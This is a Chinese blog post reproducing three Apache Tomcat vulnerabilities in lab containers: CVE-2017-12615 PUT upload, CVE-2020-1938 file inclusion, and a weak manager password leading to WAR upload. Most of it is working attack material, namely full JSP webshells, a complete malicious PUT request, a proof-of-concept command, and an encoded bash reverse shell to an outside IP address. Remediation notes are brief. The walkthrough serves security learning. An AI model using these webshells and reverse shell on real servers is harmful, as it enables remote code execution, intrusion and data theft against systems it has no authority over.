zoukankan      html  css  js  c++  java
  • tomcat漏洞复现

    简介

    参考链接:

    Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。

    CVE-2017-12615

    参考链接:

    在tomcat的配置文件web.xml中,参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false,则允许用户上传jsp文件。如果可以上传jsp文件,则会导致远程代码执行。

    漏洞影响范围:

    • Apache Tomcat 7.0.0 - 7.0.79

    漏洞复现

    启动环境。

    漏洞攻击payload:

    <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
    +"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
    

    访问http://your-ip:8080/,使用burp拦截,将GET方式改为PUT,将上面内容或冰蝎jsp脚本内容提交。上面的payload命令执行方式:http://your-ip:8080/tomcat.jsp?&pwd=023&cmd=whoami 。我使用的是上面的内容。

    PUT /tomcat.jsp::$DATA HTTP/1.1
    Host: your-ip:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Length: 534
    
    <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
    +"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
    

    服务器响应201为正常创建jsp脚本。

    文件在服务器的创建路径为:/usr/local/tomcat/webapps/ROOT

    PUT上传的路径要以/结尾,如果返回404说明没有写/

    创建jsp文件成功后,执行命令。

    漏洞修复

    该漏洞的利用需要前提,即允许用户上传jsp脚本文件,但默认情况下是不存在该漏洞的。

    升级版本,该漏洞已在Apache Tomcat 7.0.81中修复。

    CVE-2020-1938(文件读取/包含漏洞)

    参考链接:

    Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。

    漏洞影响范围:

    • Apache Tomcat 6
    • Apache Tomcat 7 < 7.0.100
    • Apache Tomcat 8 < 8.5.51
    • Apache Tomcat 9 < 9.0.31

    漏洞复现

    启动环境。

    环境启动成功后,使用网上已有的验证代码即可,如下:

    我使用的是最后一个poc,克隆代码后,使用如下命令进行漏洞测试:

    python tomcat.py read_file --webapp=ROOT/   /WEB-INF/classes/application.yml 139.198.172.202
    

    反弹shell,这个漏洞还是个包含漏洞,可以进行代码执行。通过http://www.jackson-t.ca/runtime-exec-payloads.html网站对我们反弹shell的命令进行编码。

    b

    将下面内容保存到test.txt文件中,然后上传到服务器。

    <%
    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTk4LjE3Mi4yMDIvODk5OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
    out.println(new String(b));
    }
    out.print("</pre>");
    %>
    

    上面知道创宇的参考文章只说将抓包上传到服务器,我不知道是怎么抓包上传的,所以我直接用docker命令把文件拷贝进容器中了。

    docker cp ./test.txt [容器id]:/usr/local/tomcat/webapps/ROOT/
    

    注意拷贝到容器内部的文件路径。

    nc监听端口,执行payload。

    漏洞修复

    tomcat8(弱口令+getshell漏洞)

    参考链接:

    漏洞复现

    启动环境。

    打开http://your-ip:8080/manager/html,输入后台弱口令:tomcat:tomcat。

    通过弱口令登录后台后,上传war包getshell。首先准备一个jsp木马,压缩成zip文件,再修改后缀名为.war,war包即可制作完成。jsp木马内容:

    <%@ page language="java" contentType="text/html; charset=GBK"
        pageEncoding="UTF-8"%>
    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
    <html>
    
        <head>
            <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
            <title>一句话木马</title>
        </head>
    
        <body>
            <%
            if ("admin".equals(request.getParameter("pwd"))) {
                java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
                int len = -1;
                byte[] bytes = new byte[4092];
                out.print("<pre>");
                while ((len = input.read(bytes)) != -1) {
                    out.println(new String(bytes, "GBK"));
                }
                out.print("</pre>");
            }
        %>
        </body>
    
    </html>
    

    上传webshell,webshell的位置在后台等候后就可以看到。

    上传完成。

    文件上传的路径在/usr/local/tomcat/webapps/shell/shell.jsp,所以访问时候的路径为http://your-ip:8080/shell/shell.jsp。访问并执行命令:http://your-ip:8080/shell/shell.jsp?pwd=admin&cmd=id

    漏洞修复

    • 后台不要使用弱口令
    • 修改后台管理路径等
    本博客虽然很垃圾,但所有内容严禁转载
  • 相关阅读:
    20191024-6 Alpha发布用户使用报告
    【第三章】MySQL数据库的字段约束:数据完整性、主键、外键、非空、默认值、自增、唯一性
    【第六章】MySQL日志文件管理
    【第四章】MySQL数据库的基本操作:数据库、表的创建插入查看
    【第一章】MySQL数据概述
    【Linux运维】LNMP环境配置
    【Linux 运维】linux系统修改主机名
    【Linux 运维】linux系统查看版本信息
    【Linux 运维】Centos7初始化网络配置
    50、树中两个节点的公共祖先
  • 原文地址:https://www.cnblogs.com/ahtoh/p/15130338.html
Copyright © 2011-2022 走看看